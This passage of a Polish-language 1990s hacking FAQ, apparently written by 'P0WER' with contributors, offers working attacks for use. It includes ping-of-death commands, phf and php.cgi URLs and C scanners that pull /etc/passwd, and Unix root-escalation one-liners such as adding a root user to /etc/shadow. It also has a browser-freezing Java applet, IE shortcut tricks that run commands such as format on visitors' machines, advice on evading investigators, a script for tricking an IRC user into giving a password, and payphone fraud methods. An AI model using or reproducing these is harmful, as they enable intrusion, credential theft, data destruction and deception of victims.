namieszac! PING -l 65510 adres.do.spingowania.pl Zamrozi to maszynke lub ja przeresetuje(ale nie wiem czy nie spali ci twojego lacza modemowego ;) Po prostu, nie wiem czy to zadziala przez modem.(ale jak jakis twoj kumpel odpalil Linuxa na modemie to mozeci eksperymentowac) Ponoc dziala na kernel 2.0.7 up to version 2.0.20. i 2.1.1. na Linux (crash). AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash). OSF/1, 3.2C, Solaris 2.4 x86 (reboot). 9 Jak kogos nastraszyc : P0WER Wyobraz sobie, ze siedzisz przed kompciem i czytasz czyjas poczte i nagle widzisz napis: Admin: Mam cie na oku ;) Robisz w gacie i spieprzasz z servera. Q1: Jak to zrobic??? A1: To proste jak drut:) 1 cd /dev 2 ls -l tt* teraz masz spis wszystkich zalogowanych uzytkownikow 3Napisz tylko >echo Admin: Mam cie na oku! >! /dev/ttyp08 (ttyp08 to przykladowy terminal) Mozna tez inaczej 1 finger enemyname zobaczysz: enemyname logged on since 12:24 from 194.165.56.7 on ttyp08 No i teraz tylko: >echo Admin: Mam cie na oku! >! /dev/ttyp08 10 Do czego sluza pliki .xxxx : P0WER Pliki .xxxx sa z reguly plikami konfiguracyjnymi. Nie ujawniaja sie gdy listujesz katalog, chyba ze robisz to z atrybutem -a Pozwalaja one czytac cudza poczte, odpalac cudze pliki, czy wchodzic na czyjes konto bez hasla. Lecz mozna wykorzystywac je tylko wtedy gdy wlasciciel konta jest lamerem i nie wie do czego one sluza, bo w przeciwnym razie twoje modyfikacje zostana wykryte. .rlogin Jest to plik, zawierajacy komendy, ktore uruchamiane sa za kazdym razem gdy uzytkownik loguje sie na konto. Zeby kogos zalatwic mozna w nim umiescic komende logout, ale tak robia tylko lamery. Jesli chcesz wywinac numer wpisz w niego chmod 777 * aby pliki uzytkownika byly dostepne dla wszystkich. Mozesz zrobic tez wiele innych rzeczy, wiec jako doswiadczony hacker sam dojdziesz do tego(lub nie ;) .rhosts W tym pliku zawarte sa adresy zaufanych hostow. Kazdy kto zaloguje sie przez remote login z takiej maszyny nie musi podawac hasla. Gdy umiescisz "+ +" w tym pliku to kazdy host bedzie zaufany.(opisalem ten numer w punkcie I-6) .forward Jesli w tym pliku umiescisz jakis adres e-maila to cala poczta uzytkownika bedzie rowniez wysylana pod podany adres. 11 Sciaganie passwd : P0WER Pamietaj, ze gdy sciagasz hasla zapisuje sie to w logach. Oto kawalek loga z servera x . Jest to plik syslog.0 Byl tam tez plik syslog , w ktorym logi i inne rzeczy zapisywane byly przez 24h Natomiast plik syslog.0 przechowywal te dane przez tydzien. Byl tez plik netlog ktory przez miesiac przechowywal wszystkie bledne polecenia skierowane do servera(przynajmniej tak to wygladalo). Wiecie w ogole ilu ludzi pobiera haselko w ciagu tygodnia z takiego popularnego servera!!! Apr 8 22:04:01 srv1 sendmail[5623]: AA05623: from="|/bin/mail root@194.204.147.39 [low port] [high port] ident-scan www.lamers.com 1 9999 ---cut here--- /* * ident-scan [v0.15] * This TCP scanner has the additional functionality of retrieving * the username that owns the daemon running on the specified port. * It does this by by attempting to connect to a TCP port, and if it * succeeds, it will send out an ident request to identd on the * remote host. I believe this to be a flaw in the design of the * protocol, and if it is the developers intent to allow 'reverse' * idents, then it should have been stated clearer in the * rfc(rfc1413). * * USES: * It can be useful to determine who is running daemons on high ports * that can be security risks. It can also be used to search for * misconfigurations such as httpd running as root, other daemons * running under the wrong uids. * * COMPILES: Compiles fine under Linux, BSDI and SunOS 4.1.x. * * Dave Goldsmith * */ #include #include #include #include #include #include #include #include #include enum errlist { BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR }; void usage(error) enum errlist error; { fprintf(stderr,"ident-scan: "); switch(error) { case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port] [hi port]\n"); break; case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n"); break; case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n"); break; case SOCK_ERR: fprintf(stderr,"error: socket() failed\n"); break; } exit(-1); } struct hostent * fill_host(machine,host) char *machine; struct hostent *host; { if ((host=gethostbyname(machine))==NULL) { if ((host=gethostbyaddr(machine,4,AF_INET))==NULL) return(host); } return(host); } int main(argc,argv) int argc; char **argv; { struct sockaddr_in forconnect,forport,forident; int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport; struct servent *service; struct hostent *host; char identbuf[15], recieved[85], *uid; if ((argc<2) || (argc>4)) usage(BAD_ARGS); if (argc>2) loport=atoi(argv[2]); if (argc>3) hiport=atoi(argv[3]); if ((host=fill_host(argv[1],host))==NULL) usage(BAD_HOST); forconnect.sin_family=host->h_addrtype; forconnect.sin_addr.s_addr=*((long *)host->h_addr); forident.sin_family=host->h_addrtype; forident.sin_addr.s_addr=*((long *)host->h_addr); forident.sin_port=htons(113); if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0) usage(NO_IDENT); close(identfd); for(curport=loport;curport<=hiport;curport++) { for(i=0;i!=85;i++) recieved[i]='\0'; forconnect.sin_port=htons(curport); if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))== 0) { if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0) { if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident)) ==0) { sprintf(identbuf,"%u,%u",htons(forconnect.sin_port), htons(forport.sin_port)); write(identfd,identbuf,strlen(identbuf)+1); read(identfd,recieved,80); recieved[strlen(recieved)-1]='\0'; uid=strrchr(recieved,' '); service=getservbyport(forconnect.sin_port,"tcp"); printf("Port: %3d\tService: %10s\tUserid: %s\n",curport, (service==NULL)?"(?)":service->s_name,uid); } } } close(sockfd); close(identfd); } } ---eof--- 14 Kill all processes : P0WER Po zdobyciu roota ten prosty programik zkilluje wszystkie procesy! #!/bin/sh sync kill -15 1 V Dziury w WWW. 1 phf - sciaganie passwd przez przegladarke : P0WER Jeden ze starych sposobow: http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd (dla lam: w miejsce xxx.xxx.xxx wpisujesz adres servera. ktory jest celem ataku np free.polbox.pl) Jesli hasla beda shadowane(!, * itd w miejscu hasel) to mozna sprobowac /etc/shadow , ale male szanse, ze zadziala. Ale lepiej uzyc kilku komend: http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna me=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname= haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd %0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/~someuser/passwd http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname =haqr&Qemail=&Qnickname=&Qoffice_phone= Wykonaja one cos w tym stylu: id ls -la ~someuser cp /etc/passwd ~someuser/passwd (normal URL access to get the passwd file) rm ~someuser/passwd W ten sposob mozna nawet probowac czytac czyjas poczte. (np admina) http://www.xxx.xxx.pl/cgi-bin/phf?Qalias=x%0a/bin/cat%20/usr/spool/mail/root /... lub tak http://www.serwer.com/cgi-bin/phf.cgi?.../var/spool/mail/root (http://www.serwer.com/cgi-bin/phf.cgi?.../var/spool/mail/username) A tutaj macie program, ktory sluzy go phf. -----cut here---- #!/bin/sh # Coded by: AgentOrange echo "Enter the domain you wish to try the phf bug on." read host if [ "$host" = "*" ] ; then exit 1 fi echo "Enter the command you wish to execute" read com if [ "$com" = "*" ] ; then exit 1 fi echo "Enter the file you with to execute this command on, if any" read file if [ "$file" = "*" ] ; then exit 1 fi lynx $host/cgi-bin/phf?Qname=root%0A$com%20$file exit 0 ----cut here----- 2 php - Nowa dziura znaleziona przez DIS (16-04-97) : P0WER Jest to dziura w skrypcie cgi z httpd (PHP/FI). Pozwala ona na przegladanie plikow z servera. a oto prosty przyklad: http://xxx.xxx.pl/cgi-bin/php.cgi?/plik/do/przejrzenia 3 phpscan.c skaner php : P0WER Jest to program skanujacy servery pod katem dziury w php. phpscan domeny.txt wynik.txt ----cut here--- /* phpscan.c : php.cgi vunerable server scanning program. Basically a modified phf scanner, by Alhambra of The Guild. Modifications to php.cgi by so1o of The CodeZero. Usage: phpscan */ #include #include #include #include #include #include #include #include #include #ifdef LINUX #include #endif #include #include #include #include #include #include int FLAG = 1; int Call(int signo) { FLAG = 0; } main (int argc, char *argv[]) { char host[100], buffer[1024], hosta[1024],FileBuf[8097]; int outsocket, serv_len, len,X,c,outfd; struct hostent *nametocheck; struct sockaddr_in serv_addr; struct in_addr outgoing; char PHPMessage[]="GET cgi-bin/php.cgi?/etc/passwd\n"; while(fgets(hosta,100,stdin)) { if(hosta[0] == '\0') break; hosta[strlen(hosta) -1] = '\0'; write(1,hosta,strlen(hosta)*sizeof(char)); write(1,"\n",sizeof(char)); outsocket = socket (AF_INET, SOCK_STREAM, 0); memset (&serv_addr, 0, sizeof (serv_addr)); serv_addr.sin_family = AF_INET; nametocheck = gethostbyname (hosta); (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],s izeof (outgoing.s_addr)); strcpy (host, inet_ntoa (outgoing)); serv_addr.sin_addr.s_addr = inet_addr (host); serv_addr.sin_port = htons (80); signal(SIGALRM,Call); FLAG = 1; alarm(10); X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr)); alarm(0); if(FLAG == 1 && X==0){ write(outsocket,PHPMessage,strlen(PHPMessage)*sizeof(char)); while((X=read(outsocket,FileBuf,8096))!=0) write(1,FileBuf,X) ; } close (outsocket); } return 0; } ---eof--- 4 phpget.c Jest to program, ktorym poprzez php mozesz sciagnac kilka ciekawych plikow: /etc/passwd /etc/hosts /etc/services /etc/syslogd.conf /etc/inetd.conf phpget phpget www.lamers.com /etc/passwd ---cut here--- /* p1 (peewun@heterosexual.com) This code retrieves a file using php.cgi on a remote system. This program is for educational purposes only. Use it on p1.com. */ #include #include #include #include #include #include #include #include FILE *server; int sock; void do_connect(char *host, char *toget); void do_connect(char *host, char *toget) { char inbuf[1024]; struct sockaddr_in sin; struct hostent *hp; char *tmpbuf; hp = gethostbyname(host); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(80); sock = socket(AF_INET, SOCK_STREAM, 0); if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) { printf("Made connection to %s.\n\n", host); } else { printf("Failed to connect to %s.\n\n",host); exit(0); } server=fdopen(sock, "a+"); fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget); printf("Output from php.cgi request:\n\n"); while(1){ if (fgets(inbuf, 1024, server) == NULL) break; printf(inbuf); } } main(int argc,char **argv) { printf("\nThis program retrieves files off a remote system using php.cgi.\n"); printf("Author: p1 - peewun@heterosexual.com\n"); if (argc < 3) { printf("Usage: %s \n",argv[0]); printf(" Ex: %s www.p1.com /etc/passwd\n",argv[0]); } else { char *buffer; (char *)"exit"; do_connect(argv[1],argv[2]); exit(1); } } ---eof--- VI Klopoty 1 Podejrzenia : P0WER Opisuje tu tez co dzieje sie jak wpadniesz w klopoty i jak sobie radzic! - Jezeli jestes podejrzany (nie wazne czy przez policje czy administratora) to musisz podjac specjalne dzialania by wybrnac z tego gowna! - Pamietaj, ze jesli podejrzewaja cie o hackerstwo to jestes winny dopoki nie udowodnisz niewinnosci! - Administratorzy sieci maja w dupie prawo i jesli zechca to moga czytac twoje listy, monitorowac twoje polaczenia i robic waszystko co im sie podoba. Jak to ktos stwierdzil roznica miedzy hackerem a administratorem jest tylko taka, ze system nalezy do niego ;) Jak juz mowilem jestes winny. Zaczna monitorowac twoja poczte, pliki, a jak maja wchody to zaczna monitorowac twoje polaczenia telefoniczne. Dlatego przez pewien czas nie powinienes robic zadnych akcji. Przynajmniej wsztrzymac sie na miesiac lub dwa. Powiadomic przyjaciol by nie wysylali ci niczego konkretnego, zadnej kodowanej poczty, bo to jest od razu podejrzane. Wyluzuj i zacznij pisac teksty i narzedzia, by nie stracic kontaktu ze srodowiskiem hackerskim. Schowaj tez lub zlikfiduj wszystkie kompromitujace ciebie i twoich kolegow materialy. Numery telefonow itd. - A oto kawalek listu jaki mozesz dostac gdy cie namierza. Szanowny Panie! Wykrylismy w naszym systemie probe naruszenie przez Pana bezpieczenstwa sieci firmy K3 DOM. Chcielibysmy niniejszym przestrzec Pana, ze wlamania do sieci komputerowych sa przestepstwem i jako takie moga byc scigane z powodztwa cywilnego (art. 199-202 zagarniecie mienia, art. 212 i 220 zniszczenie mienia, art. 260 i 264 ujawnienie informacji, art. 265-268 uszkodzenie lub zniszczenie dokumentu). Prowadzimy dalszy, intensywny monitoring systemu w celu wykrycia nastepnych prob wlamania i jesli zajdzie taka koniecznosc, zglosimy fakt proby wlamania do naszego systemu w Biurze Dochodzeniowo-Sledczym KG Policji. Prosze pamietac, ze korzystanie z darmowego konta w polbox oraz uslug serwera telekomunikacji nie zapewnia calkowitej anonimowosci, gdyz na wniosek prokuratora T.P. SA udostepnia billing polaczen do kazdego modemu dostepowego, ktory moze byc dowodem w postepowaniu karnym. Wedlug mnie dopoki nie namieszasz to duzo ci nie zrobia, jesli niczego im nie skasowales, nie widac, ze czytales czyjas poczte itd, to te artykuly nic nie mowia, ale nie jestem prawnikiem :) Po prostu NIE DAJCIE SIE ZLAPAC i tyle!!!!!!!! Jesli ktos z was ma doswiadczenie w prawie polskim dotyczacym hackerow, to niech sie ze mna skontaktuje. VII Unix bugs : lcamtuf {Miejsce na reklame: ten kawalek napisany zostal przez goscia o nick'u: lcamtuf ;) } 1. W systemach AIX wywolanie polecenia tprof -x /bin/sh wywola nowa kopie shella (sh) bez ograniczen dostepu (czyli masz roota). 2. W systemie AIX 2.2.1 plik etc/shadow (z haslami) mozna przepisac wlasna wersja pliku (!!!) Wiec piszesz tak: echo "rewt::0:0:blahness:/:/bin/sh" >> /etc/shadow Do pliku /etc/shadow dodany zostanie nowy uzytkownik rewt (rewt:0:0:blahness:/:/bin/sh). A pozniej logujesz sie przez telnet jako user "rewt" i jestes w systemie jako root. 3. W AIX 3.x.x dziura w usludze rlogin - po wykonaniu polecenia rlogin localhost -l -froot Masz roota. 4. BSD 4.2, ULTRIX 3.0 - ogladanie dowolnego pliku przez dziure w fingerze. Wykonujesz polecenia (lamer to jakikolwiek id uzytkownika). ln -s /etc/shadow /home/lamer/.plan finger lamer A wtedy poza standardowa informacja fingera pojawi ci sie zawartosc podanego pliku (/etc/shadow). PS. Polecenie ln sluzy do przylaczenia jednego pliku do drugiego, a plik /home/lamer/.plan to "standardowa" odpowiedz na finger. 5. DYNIX 3.0.14, ULTRIX 2.X - za pomoca sendmaila mozna przeczytac dowolny plik w systemie. Polecenie sendmail -C /etc/shadow zwroci zawartosc pliku /etc/shadow, czyli masz hasla. 6.DYNIX (wszystkie), IRIX (wszystkie) - za pomoca rsh (remote shell) mozna wywolac dowolne polecenie z uprawnieniami roota. Czyli: rsh localhost -l "" /bin/sh uruchomi nam shella i bedziemy mieli pelen dostep. 7. HP-UX <7.0 - polecenie chfn pozwala umiescic symbol nowej linii w linii polecen (^M) i tym samym dodanie nowego uzytkownika (rewt) - patrz bug #2. Piszesz na koncie: chfn -f looser^Mrewt::0:0::/:/bin/sh Pozniej logujesz sie poleceniem: rlogin localhost -l rewt I masz roota. 8. Solaris 2.5, ale prawdopodobnie dziala tez na innych : Brajek Jesli masz konto to piszesz ping -sv -i 127.0.0.1 224.0.0.1 i komputer sie zrebootuje VIII Skrypty java 1Killer java : lcamtuf Jest to maly programik w Javie, ktory uruchamia w chwili wejscia na strone lawinowa ilosc zadan, kazde z nich odpala z kolei nowe... Robi sie z tego cholerna zadyma, w pol sekundy kazdy system wisa, poniewaz procesorowi nie starcza czasu nawet na obsluge myszy. Nie ma tez prostego patcha przeciw temu skryptowi [RESET]... Mozna wylaczyc Jave w przegladarce, ale wtedy wiekszosc stron bedzie chodzic nieprawidlowo :-) Oto jak musi wygladac kawalek kodu w HTMLu, ktory wstawiamy gdziekolwiek na strone: Teraz kazdy kto wejdzie na strone zawierajaca ten "dodatek" spotka sie ze wspaniala niespodzianka - komputer totalnie sie zawiesi (Explorer) albo zresetuje (Netscape)... Powodzenia :-) Plik Killer.class (uwaga na rozmiar liter!) uzyskasz po kompilacji Killer.java, ktory musi wygladac tak: -- Killer.java -- // Killer.java // (c) lcamtuf 97 for HMG // ---------------------- import java.io.InputStream; import java.applet.Applet; import java.awt.*; import java.net.*; public class Killer extends java.applet.Applet implements Runnable { Thread me; public void start() { while (true) { me=new Thread(this); me.start(); } } public void run() { start(); } public void stop() {} public void init() {} } -- Eof -- 2 Okno javy : Angel A oto strona html , ktora doprowadzi do szalu kazdego uzytkownika. BoNuS ---eof--- IX Windows NT : lcamtuf 1. Hasla (BSD): http://www.serwer.com/~root/etc/passwd 2. Hasla: http://www.serwer.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/pas swd 3. Hasla (BSD): http://www.serwer.com/~bin/etc/passwd 4. Pod Windows NT: http://www.serwer.com/scripts/pfieffer.bat?&xxx+?&yyy+?&zzz+...+?&time bedzie rownowazne z wykonaniem polecen xxx, pozniej yyy i zzz (czyli takiego BATa). Co wiecej ostatnie polecenie spowoduje, ze calosc nie pojawi sie w logach systemowych :-) W nowych NT bug jest naprawiony, ale wystarczy zastapic pfieffer.bat dowolnym innym batem znajdujacym sie w /scripts/ i juz wszystko znowu dziala :-) 5. Windows NT: telnet www.serwer.com 80, wpisujac "GET ../.." i poslugujac sie odpowiednia iloscia ".." mozna pobrac dowolny plik z dysku. 6. Pod Windows NT (Netscape Server): http://www.serwer.com/cgi-bin/test.bat?&xxx Pozwala wykonac polecenie 'xxx' (dir). http://www.serwer.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E Pozwala skasowac wszystko w aktualnym katalogu. 7. Stary IntranetWare: http://www.serwer.com/scripts/convert.bas?../../xxx Pozwala odczytac plik xxx 8. CERN httpd: Podobno przy starym httpd na porcie 80 firewall jest bezuzyteczny (mozna sie laczyc bez ograniczen - portfuck :-) 9. Kiedys mozna bylo wpisac w AltaVista np "0:0", jesli jakis serwer byl zle skonfigurowany to plik /etc/passwd zostawal dodany do zbiorow przegladarki :-o Nie wiem jak teraz, ale na 100% COS SIE DA SCIAGNAC, tylko trzeba zobaczyc ktoredy. PS. Jesli phf i podobne zwracaja zamiast hasel znaczki '*' to zamiast /etc/passwd sprobujcie /etc/shadow albo /ect/passwd- - - - - BUG #1 w IE W IE (wersje starsze od 3.2) mozliwe jest wykonanie dowolnego polecenia lub serii polecen na komputerze przegladajacego strone. Jest to cholernie powazna dziura, poniewaz autor strony www moze dowolnie modyfikowac zawartosc dysku przegladajacego, formatowac, kasowac, a nawet przesylac je dalej. Na dobry poczatek wypada utworzyc strone zawierajaca taki tekst. kliknij tutaj Pozostaje jeszcze stworzyc plik test.url wygladajacy tak: [InternetShortcut] URL=file://calc.exe (trzeba go wrzucic obok strony na serwer). Teraz gdy ktos klinkliknie na napis "kilknij tutaj" - bez pytania na jego komputerze zostanie odpalony kalkulator. Oczywiscie kalkulator to tylko przyklad. Trzeba dodac, ze program zostanie znaleziony w PATHu, nie musimy podawac katalogu. To jednak nie wszystko - prawdziwe pieklo rozpoczyna sie pod Windows 95 (uzytkownicy NT sa bezpieczni). Wystarczy w Win95 utworzyc w katalogu ze strona skrot (Shortcut) do interesujacego nas programu, np "c:\command.com", w miejscu linii polecen warto wpisac np, "/cmkdir c:\test". Otrzymany plik, powiedzmy TEST.LNK LNK, ktory skopiujmy do katalogu z nasza strona pod nazwa test.lnk i zmodyfikujmy strone: kliknij tutaj Jesli klinkniemy - na dysku zostanie utworzony katalog c:\test. Ale to nie wszystko - mozna wywolac takze polecenia typu format, rmdir... Jesli chcemy, aby polecenie wykonalo sie od razu po wejsciu na strone albo zeby wykonala sie cala sekwencja polecen (cos jak plik BAT) - powinnismy uzyc meta-polecenia 'refresh' (wiecej danych gdzies w specyfikacjach html'a). Czas na podsumowanie: Pliki URL - Windows 95 i Windows NT - polecenie szukane w PATHu - nie mozna podac linii polecen Pliki LNK - tylko Windows 95 - trzeba podac dokladny katalog - mozna podac linie polecen Oczywiscie pliki LNK sa potezniejsza bronia, chociaz dzialaja tylko pod win95. Jednakze odpowiednie parametry podane programom w stylu edlin czy debug potrafia zrobic naprawde wszystko z komputerem :-) A co sie tyczy katalogu - wiekszosc uzytkownikow Win95 ma je zainstalowane w C:\WINDOWS, zas okolo 2% w C:\WIN95 X Cos dla lamerow : P0WER Dobra jezeli przeczytales ten tekst i prawie niczego nie kapujesz, to oznacza ze albo jestes skonczonym lamerem, ablo to dobpiero twoje poczatki. Wiec mam tu cos i dla ciebie, jest to kilka sposobow, do uzycia ktorych ja bym sie nie posunal, ale jako poczatkujacy lamer masz do tego pelne prawo :) 1 Podszywanie sie pod kogos Zacznijmy od tego, ze poczatkujacym lamerom najtrudniej zawsze jest zdobyc magiczny plik passwd. Wiec jesli nie umiesz wlamac sie do systemu to sprobuj inaczej. - Wkrec sie w jakies srodowisko na irc - Podszukaj jakiejs glupiej laski(bo tak najlatwiej) - Wejdz z nickiem jakiegos jej kolegi, ktory ma konto na tym samym serverze co ona - Najlepiej zmien tez imie , i inne sprawy po ktorych rozpoznaje sie ludzi na irc - Przyjdz tez najlepiej z servera irc, ktory podaje ip zamiast hostu - Zaczni zagadywac ja , powiedz ze cos ci konto szwankuje i nie mozesz wejsc na wasz server i .... - Po jakims czasie zaproponuj zeby ona podala ci swoje haslo, bys mogl dostac sie na server - Jesli sie zgodzi to chyba juz wiesz co robic.. - Ale nie niszcz niczego na tym serverze bo narobisz idiotce klopotow, powinienes jej byc wdzieczny, bo jaki piekny jest ten swiat dzieki takim lamerom. 2 Wymiana hasel Jesli masz juz cos w swoich zasobach to mozesz wejsc na kanal #hack , czy #hackpl i sprobowac cos wymienic. Ale z doswiadczenia wiem ze to co dostaniesz to przewaznie jakies gowniane konta, ale to juz jest cos dla poczatkujacego lamera. 3 Popros doswiadczonego hackera. Tak mozna i tak. Ale male szanse ze ci sie uda. Czasem ktos zlituje sie nad toba i dostaniesz jakies konto. 4 Mozez isc na irc Mozesz tez probowac wkrecic sie w srodowisko hackreskie na irc, o to by zdobyc troche wiedzy. Ale musisz pamietac, ze kanalt jak #hack, #hackpl , czy #2600 i inne tego typu, to miejsca gdzie rzadzi ignorancja, ktora wypycha z ludzi resztki wiedzy i inteligencji. Sa tam tez w porzadku goscie, ale jest ich malo. Przewaznie sa to kanaly gdzie dzieci, ktore nia maja idealow walcza o to by zdobyc opa i pokazac wszystkim jakimi sa hackerami. Na szczescie na naszym #hack nie jest jeszcze tak tragicznie, powiem wiecej tam jest super :) ale proba wejscia na #hack IRCNET'u moze byc wielkim rozczarowaniem. 5 Mozesz zalatwic sobie takze darmowe konta telnetowe. np na nyx.net lub qnx.com login: new i juz jestes w srodku, ale takie servery sa dobrze monitorowane. Ale mozna w nich za to dokladnie zapoznac sie z budowa servera. XI Phreak : Angel {jak ktos to przetestuje, lub zna cos innego to niech od razu daje znac:} 1. Phreakownie i lyzka sposob z lyzka kuchenna...hhe...tja...no wiec mamy aparat telefoniczny no i tam gdzie jest miejsce na zwrot monet wpierdalamy lyzke (widelec itp.) no i jak laczy aparat i slychac "TEEEEEEEEETT" to wtedy ruszamy lyzka na max...no i jest connect...sprawa sie nieco komplikuje gdy dzwonimy na LD...bo impulsy sa czesciej naliczane <=> trzeba ruszac co chwile lyzka... 2. Phreakowanie i zapalarka Mamy zapalarke to prowadzimy dwa druciki i: jeden musimy podlaczyc jako masa, a drugi gdzies podlaczyc do tarczy aparatu...no i aby connect byl utrzymany trzeba zapierdalac zapalarka..(hmm..ten patent jest w sumie cieniutki - po krotkim juz czasie boli lapa od ruszania zapalarka, a pozatym na 2o-3o % aparatow to dziala...) 3. Phreakowanie i Tone Dialer korzystanie z tkz "TONE DiALER'a" - generatora tonow o czestotliwoscia ch takich samych jak mamy w telefonie of coz.. No i w tym wypadku mozna korzystac jedynie z telefonow podlaczonych do centrali tonowej, ale w dodatku musza to byc telefony z wciskana klawiaturka [te na zetony]; no i sprawa jest prosta...przykladamy TD do sluchawki, wystukujemy numer i ...gadamy ile chcemy i z kim chcemy Jesli ktos uwaza , ze faq jest denne to nie musi go czytac ;), a jezeli ktos czegos nie rozumie to jeszcze nie powod, by pisac do mnie list. Ale w razie czego jestem osiagalny pod adresem p0wer@geocities.com Lub na IRC na kanale #hackpl. Jesli masz jakies materialy, ktore mozna by wrzucic do tego Faq, to pisz!!! Najnowsza wersja tego faq bedzie zawsze dostepna na stronie: http://www.geocities.com/SiliconValley/Way/6622/indexpl.htm Co do dystrybucji to mozecie to faq dawac kazdemu, umieszczac na swoim www ale pod warunkiem, ze nic w nim nie zmienicie. P0WER